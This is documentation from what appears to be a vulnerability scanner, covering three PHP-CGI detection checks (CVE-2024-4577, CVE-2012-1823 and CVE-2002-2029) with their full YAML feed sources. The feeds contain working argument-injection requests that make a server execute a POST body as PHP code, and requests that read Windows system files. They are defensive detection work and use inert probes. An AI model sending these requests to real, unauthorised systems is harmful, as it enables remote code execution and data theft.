PHP-CGI — 3 vulnerability checks
noctis ships 3 vulnerability checks for PHP-CGI, covering 6 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
PHP-CGI Argument Injection RCE
| CVE | CVE-2024-4577 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, tcp_connect, match · highest QoD 97 |
| Feed | tests/vulnerabilities/php-cgi/CVE-2024-4577.yaml |
PHP-CGI on Windows (8.1 before 8.1.29, 8.2 before 8.2.20, 8.3 before 8.3.8, and every earlier, unsupported branch) reads a soft hyphen (%AD) in the query string as `-` under some code pages, so php-cgi command-line switches can be injected. The feed injects `allow_url_include=1` and `auto_prepend_file=php://input` on the usual php-cgi locations and on /index.php, and sends an inert arithmetic expression as the request body. The finding is reported only when the reply carries the computed result of that expression, which proves the server evaluated the body as PHP code; nothing is written on the target.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
POST {{cgi_path}}?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env%3d0+%ADd+allow…, for each of 5 values - Parses / computes the next value with a Rhai script
- Checks
check.evaluatedfor^true$→ finding QoD 97: PHP-CGI argument injection RCE (CVE-2024-4577)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2024-4577
- https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability-en/
- https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog
Feed source — tests/vulnerabilities/php-cgi/CVE-2024-4577.yaml
# PHP-CGI Argument Injection RCE — CVE-2024-4577
#
# PHP-CGI on Windows under a CJK code page maps the soft hyphen (0xAD, sent as
# %AD) to `-` through Windows "best fit", bypassing the CVE-2012-1823 fix and
# allowing php-cgi argument injection via the query string. Exploited massively
# in the wild; in CISA KEV.
#
# Detection: POST with injected `-d allow_url_include=1 -d
# auto_prepend_file=php://input` (each `-` written as %AD) and an inert
# arithmetic body `<?php echo "<marker>".(A*B);?>` with a random marker and
# random A, B per run. Only real PHP evaluation of the body produces
# `<marker><A*B>`, a string the request never contains, so a server that echoes
# the request (honeypot, debug page, WAF block page) cannot match (#2367 — the
# old fixed marker was carried verbatim in the body and matched on any echo).
#
# Paths: the XAMPP ScriptAlias binary (/php-cgi/php-cgi.exe, the default
# install hit in the wild), the older candidate locations, and /index.php (any
# .php script served through the php-cgi Action handler is injectable).
# `-d cgi.force_redirect=0 -d cgi.redirect_status_env=0` lets a directly
# requested php-cgi.exe run (no REDIRECT_STATUS); inert on the Action path.
#
# Use tcp_connect to send %AD verbatim — reqwest may normalize percent-encoding
# in query strings before sending.
uid: 1548d342-fc4b-4504-97f7-21006ad34d30
name: "PHP-CGI Argument Injection RCE (CVE-2024-4577)"
description: |
PHP-CGI on Windows (8.1 before 8.1.29, 8.2 before 8.2.20, 8.3 before 8.3.8,
and every earlier, unsupported branch)
reads a soft hyphen (%AD) in the query string as `-` under some code pages,
so php-cgi command-line switches can be injected. The feed injects
`allow_url_include=1` and `auto_prepend_file=php://input` on the usual
php-cgi locations and on /index.php, and sends an inert arithmetic
expression as the request body. The finding is reported only when the reply
carries the computed result of that expression, which proves the server
evaluated the body as PHP code; nothing is written on the target.
cves: [CVE-2024-4577]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.30
tags: [php, cgi, rce, argument-injection, windows, intrusive, cisa-kev]
services: [http, https]
author: noctis
version: "1.1.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2024-4577"
- "https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability-en/"
- "https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/"
- "https://www.cisa.gov/known-exploited-vulnerabilities-catalog"
steps:
# ── Per-run benign payload + the token only real evaluation produces ─────
# body : `<?php echo "<marker>".(A*B);?>` — 4-digit A, B
# token : `<marker><A*B>` — never present in the request itself
- id: build-payload
action: script
store_as: inj
code: |
let marker = "n" + rand_hex(5);
let a = rand_int(1000, 9999);
let b = rand_int(1000, 9999);
let body = "<?php echo \"" + marker + "\".(" + a.to_string() + "*" + b.to_string() + ");?>";
#{ body: body, len: strlen(body), token: marker + (a * b).to_string() }
# ── Probe every candidate location; `stop: true` ends at the first proof ─
- id: probe
action: tcp_connect
port: "{{port}}"
timeout_secs: 10
send: "POST {{cgi_path}}?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env%3d0+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.0\r\nHost: {{target_host}}\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: {{inj.len}}\r\n\r\n{{inj.body}}"
store_as: probe_resp
loop:
var: cgi_path
over:
- /php-cgi/php-cgi.exe
- /cgi-bin/php-cgi.exe
- /php-cgi.exe
- /cgi-bin/php.exe
- /index.php
# ── Did the server EVALUATE our body? (computed token in the reply?) ─────
- id: evaluate
action: script
store_as: check
code: |
// tcp_connect stores nothing when the connect / TLS handshake fails
let hay = "";
if is_def_var("probe_resp") && type_of(probe_resp.banner) == "string" { hay = probe_resp.banner; }
#{ evaluated: stridx(hay, inj.token) >= 0 }
- id: confirm
action: match
source: check.evaluated
pattern: "^true$"
on_match:
finding:
title: "PHP-CGI argument injection RCE (CVE-2024-4577)"
description: "php-cgi read the soft hyphen (%AD) in the query string as '-' and accepted `-d auto_prepend_file=php://input`: an inert arithmetic expression sent in the request body came back evaluated."
remediation: "Upgrade PHP to 8.1.29, 8.2.20, 8.3.8 or later, or stop running PHP as CGI (use PHP-FPM / mod_php) and remove the php-cgi ScriptAlias (XAMPP: /php-cgi/)."
confidence_delta: 0.70
qod: 97
evidence: "POST {{cgi_path}}?%ADd+...+auto_prepend_file%3dphp://input — the inert arithmetic body was returned evaluated (PHP code execution confirmed); computed result {{inj.token}} found in the reply"
stop: truePHP-CGI Query-String Argument Injection RCE
| CVE | CVE-2012-1823, CVE-2012-2311, CVE-2012-2335, CVE-2012-2336 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, tcp_connect, match · highest QoD 97 |
| Feed | tests/vulnerabilities/php-cgi/php-cgi-query-string-arg-injection.yaml |
PHP before 5.3.13 and 5.4.x before 5.4.3 running as CGI (e.g. Apache mod_cgi / mod_cgid) treats a query string without `=` as php-cgi command-line switches, so `-d` / `-s` / `-n` can be injected. Injecting `-d allow_url_include=on -d auto_prepend_file=php://input` executes the request body as PHP code. This feed sends an inert arithmetic expression as the body and confirms that the server evaluated it.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
POST {{cgi_path}}?-d+allow_url_include%3don+-d+safe_mode%3doff+-d+suhosin.simulation%3don…, for each of 38 values - Parses / computes the next value with a Rhai script
- Checks
check.evaluatedfor^true$→ finding QoD 97: PHP-CGI query-string argument injection RCE (CVE-2012-1823)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2012-1823
- https://nvd.nist.gov/vuln/detail/CVE-2012-2311
- https://nvd.nist.gov/vuln/detail/CVE-2012-2335
- https://nvd.nist.gov/vuln/detail/CVE-2012-2336
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2012/CVE-2012-1823.yaml
- https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/php_cgi_arg_injection.rb
Feed source — tests/vulnerabilities/php-cgi/php-cgi-query-string-arg-injection.yaml
# PHP-CGI query-string argument injection RCE
# CVE-2012-1823 (+ CVE-2012-2311 incomplete fix, CVE-2012-2335 / CVE-2012-2336 php-wrapper variants)
#
# Ported from OpenVAS/Greenbone NVT `2012/gb_php_cgi_2012.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.103482, GPL-2.0-only). Same request shape and
# candidate path list (the non-Windows set: `/`, `/index.php` and the
# php/php4/php5/php-cgi binaries under "", /cgi-bin, /cgi, /php-cgi).
#
# PHP before 5.3.12 / 5.4.2 (incomplete fix until 5.3.13 / 5.4.3), when run as
# CGI, passes a query string that starts with `-` and holds no `=` to php-cgi as
# command-line switches. `-d auto_prepend_file=php://input` makes PHP run the
# POST body as code before the requested script.
#
# Deviation from the NASL (benign proof, Flo's rule): the body is not
# `phpinfo()` but an inert arithmetic expression `<?php echo "<marker>".(A*B);?>`
# with a random marker and random A, B generated per run. A vulnerable target
# replies with `<marker><A*B>`, a value only real PHP evaluation of our body
# produces (the body itself never contains it). Nothing is written, no command
# runs. Intrusive (code is evaluated on the target) → `category: rce`.
#
# Addition to the NASL switch set: `-d cgi.force_redirect=0 -d
# cgi.redirect_status_env=0` (Kingcope's apache-magika exploit, Metasploit
# `php_cgi_arg_injection`). When the php-cgi binary itself is requested
# (/cgi-bin/php5…) the web server sets no REDIRECT_STATUS and php-cgi refuses
# with "Security Alert!" unless force_redirect is off, and `-n` drops php.ini so
# the compiled default (on) always applies. The two switches are inert on the
# `/index.php` Action-handler setup.
#
# Raw `tcp_connect`: the query must stay verbatim (`%3d`, `""`), an HTTP client
# would re-encode it. TLS is wrapped automatically for https services.
# Distinct from `php-cgi/CVE-2024-4577.yaml` (Windows soft-hyphen bypass of
# this same bug).
uid: ea0dfa2c-5b32-47ed-a6b7-820bd78477f5
name: "PHP-CGI Query-String Argument Injection RCE (CVE-2012-1823)"
description: |
PHP before 5.3.13 and 5.4.x before 5.4.3 running as CGI (e.g. Apache
mod_cgi / mod_cgid) treats a query string without `=` as php-cgi
command-line switches, so `-d` / `-s` / `-n` can be injected. Injecting
`-d allow_url_include=on -d auto_prepend_file=php://input` executes the
request body as PHP code. This feed sends an inert arithmetic expression as
the body and confirms that the server evaluated it.
cves: [CVE-2012-1823, CVE-2012-2311, CVE-2012-2335, CVE-2012-2336]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.25
tags: [php, php-cgi, cgi, rce, argument-injection, intrusive, cisa-kev]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2012-1823"
- "https://nvd.nist.gov/vuln/detail/CVE-2012-2311"
- "https://nvd.nist.gov/vuln/detail/CVE-2012-2335"
- "https://nvd.nist.gov/vuln/detail/CVE-2012-2336"
- "https://www.cisa.gov/known-exploited-vulnerabilities-catalog"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2012/CVE-2012-1823.yaml"
- "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/php_cgi_arg_injection.rb"
steps:
# ── Per-run benign payload + the token only real evaluation produces ─────
# body : `<?php echo "<marker>".(A*B);?>` — 4-digit A, B so the length is fixed
# token : `<marker><A*B>` — never present in the body itself
- id: build-payload
action: script
store_as: inj
code: |
let marker = "n" + rand_hex(5);
let a = rand_int(1000, 9999);
let b = rand_int(1000, 9999);
let body = "<?php echo \"" + marker + "\".(" + a.to_string() + "*" + b.to_string() + ");?>";
#{ body: body, len: strlen(body), token: marker + (a * b).to_string() }
# ── Probe every candidate php-cgi location (NASL list, non-Windows) ──────
# Query = the NASL's switch set, verbatim. The loop groups the probe with the
# two following steps, and `stop: true` ends it at the first confirmed path.
- id: probe
action: tcp_connect
port: "{{port}}"
timeout_secs: 10
send: "POST {{cgi_path}}?-d+allow_url_include%3don+-d+safe_mode%3doff+-d+suhosin.simulation%3don+-d+disable_functions%3d\"\"+-d+open_basedir%3dnone+-d+cgi.force_redirect%3d0+-d+cgi.redirect_status_env%3d0+-d+auto_prepend_file%3dphp://input+-n HTTP/1.0\r\nHost: {{target_host}}\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: {{inj.len}}\r\n\r\n{{inj.body}}"
store_as: probe_resp
loop:
var: cgi_path
over:
- /
- /index.php
- /php
- /php4
- /php4-cgi
- /php4.cgi
- /php5
- /php5-cgi
- /php5.cgi
- /php-cgi
- /php.cgi
- /cgi-bin/php
- /cgi-bin/php4
- /cgi-bin/php4-cgi
- /cgi-bin/php4.cgi
- /cgi-bin/php5
- /cgi-bin/php5-cgi
- /cgi-bin/php5.cgi
- /cgi-bin/php-cgi
- /cgi-bin/php.cgi
- /cgi/php
- /cgi/php4
- /cgi/php4-cgi
- /cgi/php4.cgi
- /cgi/php5
- /cgi/php5-cgi
- /cgi/php5.cgi
- /cgi/php-cgi
- /cgi/php.cgi
- /php-cgi/php
- /php-cgi/php4
- /php-cgi/php4-cgi
- /php-cgi/php4.cgi
- /php-cgi/php5
- /php-cgi/php5-cgi
- /php-cgi/php5.cgi
- /php-cgi/php-cgi
- /php-cgi/php.cgi
# ── Did the server EVALUATE our body? (computed token in the reply?) ─────
- id: evaluate
action: script
store_as: check
code: |
let hay = if type_of(probe_resp.banner) == "string" { probe_resp.banner } else { "" };
#{ evaluated: stridx(hay, inj.token) >= 0 }
- id: confirm
action: match
source: check.evaluated
pattern: "^true$"
on_match:
finding:
title: "PHP-CGI query-string argument injection RCE (CVE-2012-1823)"
description: "php-cgi accepted command-line switches from the query string: `-d auto_prepend_file=php://input` made it evaluate the request body as PHP. An inert arithmetic expression sent in the body came back evaluated."
remediation: "Upgrade PHP to 5.3.13 / 5.4.3 or later, or stop exposing php-cgi directly (use PHP-FPM / mod_php, or a rewrite rule rejecting query strings that start with '-')."
confidence_delta: 0.70
qod: 97
evidence: "POST {{cgi_path}}?-d+...+auto_prepend_file%3dphp://input — the inert arithmetic body was returned evaluated (PHP code execution confirmed)"
stop: truePHP.EXE CGI on Apache for Windows Arbitrary File Read
| CVE | CVE-2002-2029 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | file-read — File read |
| Services | http, https |
| Detection | set_var, tcp_connect, match · highest QoD 75 |
| Feed | tests/vulnerabilities/php-cgi/CVE-2002-2029.yaml |
Tests Apache on Windows with PHP installed as a CGI binary under /php/ (the layout recommended by the PHP 4 installation notes), where the PHP interpreter can be called directly. Without any login, the feed requests /php/php.exe with the path of a standard Windows file as query string (c:\windows\win.ini, c:\winnt\win.ini, then c:\boot.ini); Apache passes it to php.exe as the script to run, and PHP prints a file that contains no PHP code as-is. The file's content in a 200 reply confirms that any file readable by the web server account can be disclosed. A control request for the same file under an absent directory must not return it. Only standard Windows configuration files are read.
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /php/php.exe?c:\windows\win.ini HTTP/1.0 - Checks
winini_r.bannerfor(?s)^HTTP/1\.[01] 200\b.*(; for 16-bit app support|\[fonts\]) - Raw TCP (TLS on HTTPS), sent verbatim:
GET /php/php.exe?c:\winnt\win.ini HTTP/1.0 - Checks
winnt_r.bannerfor(?s)^HTTP/1\.[01] 200\b.*(; for 16-bit app support|\[fonts\]) - Raw TCP (TLS on HTTPS), sent verbatim:
GET /php/php.exe?c:\boot.ini HTTP/1.0 - Checks
bootini_r.bannerfor(?s)^HTTP/1\.[01] 200\b.*\[boot loader\] - Raw TCP (TLS on HTTPS), sent verbatim:
GET /php/php.exe?c:\noctis-absent-{{oob_token}}\{{win_file}} HTTP/1.0 - Checks
ctrl_r.bannerfor(; for 16-bit app support|\[fonts\]|\[boot loader\]) - Checks
win_filefor^(windows\\win\.ini|winnt\\win\.ini|boot\.ini)$→ finding QoD 75: PHP.EXE CGI on Apache for Windows Arbitrary File Read (CVE-2002-2029)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2002-2029
- http://www.securityfocus.com/bid/3786
- http://www.securiteam.com/windowsntfocus/5ZP030U60U.html
- http://www.iss.net/security_center/static/7815.php
Feed source — tests/vulnerabilities/php-cgi/CVE-2002-2029.yaml
# PHP.EXE as a CGI on Apache for Windows — arbitrary file read through a direct
# call of the interpreter (CVE-2002-2029, BID 3786).
#
# The PHP 4 Windows install notes recommended `ScriptAlias /php/ "c:/php/"`
# (with `Action application/x-httpd-php "/php/php.exe"`). That also exposes
# the interpreter itself: Apache turns a query string without "=" into the CGI
# command line, so GET /php/php.exe?c:\winnt\win.ini makes php.exe parse that
# file, and a file without "<?" is printed as-is. With cgi.force_redirect on
# (the default of later PHP releases), direct calls are refused
# ("Security Alert! The PHP CGI cannot be accessed directly.").
#
# Detection (benign, read-only): request /php/php.exe with c:\windows\win.ini,
# then c:\winnt\win.ini, then c:\boot.ini as query string, and match the file
# CONTENT under an HTTP 200 status line (QoD 75). Raw tcp_connect keeps the
# backslashes verbatim, as the source check sends them.
#
# Improvements over the source NASL:
# - A control request for an absent directory before the same file
# (c:\noctis-absent-<token>\<file>) must come back WITHOUT any file
# signature, so a server or honeypot that returns win.ini for any request
# (or any request ending in the file name) is not reported (fail-closed).
# - The NASL only runs when PHP was detected first; the feed probes the
# php.exe URL directly, so a PHP CGI that hides its version
# (expose_php = Off) is still tested.
#
# Ported from OpenVAS/Greenbone NVT pre2008/php_apache_win32_default.nasl
# (GPL-2.0-only).
uid: 86f1c2c8-3cd4-44b6-bb83-2d5d76526c06
name: "PHP.EXE CGI on Apache for Windows Arbitrary File Read (CVE-2002-2029)"
description: |
Tests Apache on Windows with PHP installed as a CGI binary under /php/ (the
layout recommended by the PHP 4 installation notes), where the PHP
interpreter can be called directly. Without any login, the feed requests
/php/php.exe with the path of a standard Windows file as query string
(c:\windows\win.ini, c:\winnt\win.ini, then c:\boot.ini); Apache passes it to
php.exe as the script to run, and PHP prints a file that contains no PHP
code as-is. The file's content in a 200 reply confirms that any file
readable by the web server account can be disclosed. A control request for
the same file under an absent directory must not return it. Only standard
Windows configuration files are read.
cves: [CVE-2002-2029]
cvss: 7.5 # NVD publishes only a CVSS v2 base score (7.5) for this CVE
severity: high
category: file-read
confidence_base: 0.30
tags: [php, php-cgi, apache, windows, file-read]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2002-2029"
- "http://www.securityfocus.com/bid/3786"
- "http://www.securiteam.com/windowsntfocus/5ZP030U60U.html"
- "http://www.iss.net/security_center/static/7815.php"
# OpenVAS/Greenbone NASL pre2008/php_apache_win32_default.nasl (GPL-2.0-only)
steps:
- id: init-winini-r
action: set_var
var_name: winini_r
var_value: {connected: false, banner: ""}
- id: init-winnt-r
action: set_var
var_name: winnt_r
var_value: {connected: false, banner: ""}
- id: init-bootini-r
action: set_var
var_name: bootini_r
var_value: {connected: false, banner: ""}
- id: init-ctrl-r
action: set_var
var_name: ctrl_r
var_value: {connected: false, banner: ""}
- id: init-win-file
action: set_var
var_name: win_file
var_value: ""
- id: init-ctrl-hit
action: set_var
var_name: ctrl_hit
var_value: false
# ── C:\windows\win.ini ───────────────────────────────────────────────────
- id: read-winini
action: tcp_connect
port: "{{port}}"
send: "GET /php/php.exe?c:\\windows\\win.ini HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
store_as: winini_r
- id: winini-content
action: match
source: winini_r.banner
pattern: "(?s)^HTTP/1\\.[01] 200\\b.*(; for 16-bit app support|\\[fonts\\])"
case_insensitive: true
condition: "winini_r.connected == true"
on_match:
set_vars:
win_file: "windows\\win.ini"
# ── C:\winnt\win.ini (Windows NT / 2000) ─────────────────────────────────
- id: read-winnt
action: tcp_connect
port: "{{port}}"
send: "GET /php/php.exe?c:\\winnt\\win.ini HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
condition: 'win_file == "" && winini_r.connected == true'
store_as: winnt_r
- id: winnt-content
action: match
source: winnt_r.banner
pattern: "(?s)^HTTP/1\\.[01] 200\\b.*(; for 16-bit app support|\\[fonts\\])"
case_insensitive: true
condition: 'win_file == "" && winnt_r.connected == true'
on_match:
set_vars:
win_file: "winnt\\win.ini"
# ── C:\boot.ini (Windows NT / 2000 / XP / 2003) ──────────────────────────
- id: read-bootini
action: tcp_connect
port: "{{port}}"
send: "GET /php/php.exe?c:\\boot.ini HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
condition: 'win_file == "" && winini_r.connected == true'
store_as: bootini_r
- id: bootini-content
action: match
source: bootini_r.banner
pattern: "(?s)^HTTP/1\\.[01] 200\\b.*\\[boot loader\\]"
case_insensitive: true
condition: 'win_file == "" && bootini_r.connected == true'
on_match:
set_vars:
win_file: "boot.ini"
# ── Control: an absent directory before the same file ───────────────────
- id: control
action: tcp_connect
port: "{{port}}"
send: "GET /php/php.exe?c:\\noctis-absent-{{oob_token}}\\{{win_file}} HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
condition: 'win_file != ""'
store_as: ctrl_r
- id: control-content
action: match
source: ctrl_r.banner
pattern: "(; for 16-bit app support|\\[fonts\\]|\\[boot loader\\])"
case_insensitive: true
condition: 'win_file != "" && ctrl_r.connected == true'
on_match:
set_vars:
ctrl_hit: true
# ── Finding (control answered and stayed clean) ──────────────────────────
- id: report
action: match
source: win_file
pattern: "^(windows\\\\win\\.ini|winnt\\\\win\\.ini|boot\\.ini)$"
condition: 'ctrl_r.connected == true && type_of(ctrl_r.banner) == "string" && ctrl_r.banner != "" && ctrl_hit == false'
on_match:
finding:
title: "PHP.EXE CGI on Apache for Windows Arbitrary File Read (CVE-2002-2029)"
description: "The PHP interpreter is reachable as a CGI program at /php/php.exe. A request naming a Windows system file in the query string returned the content of that file, while the same request for an absent file did not. Any file readable by the web server account can be read this way, and PHP code in files an attacker can place on the server may be executed."
remediation: "Do not expose the PHP binary through a ScriptAlias: run PHP as an Apache module or through a handler, or set cgi.force_redirect = 1 in php.ini so that direct calls are refused. Upgrade to a supported PHP release."
confidence_delta: 0.55
qod: 75
evidence: "GET /php/php.exe?c:\\{{win_file}} returned the content of C:\\{{win_file}}; control for c:\\noctis-absent-…\\{{win_file}} returned no file content"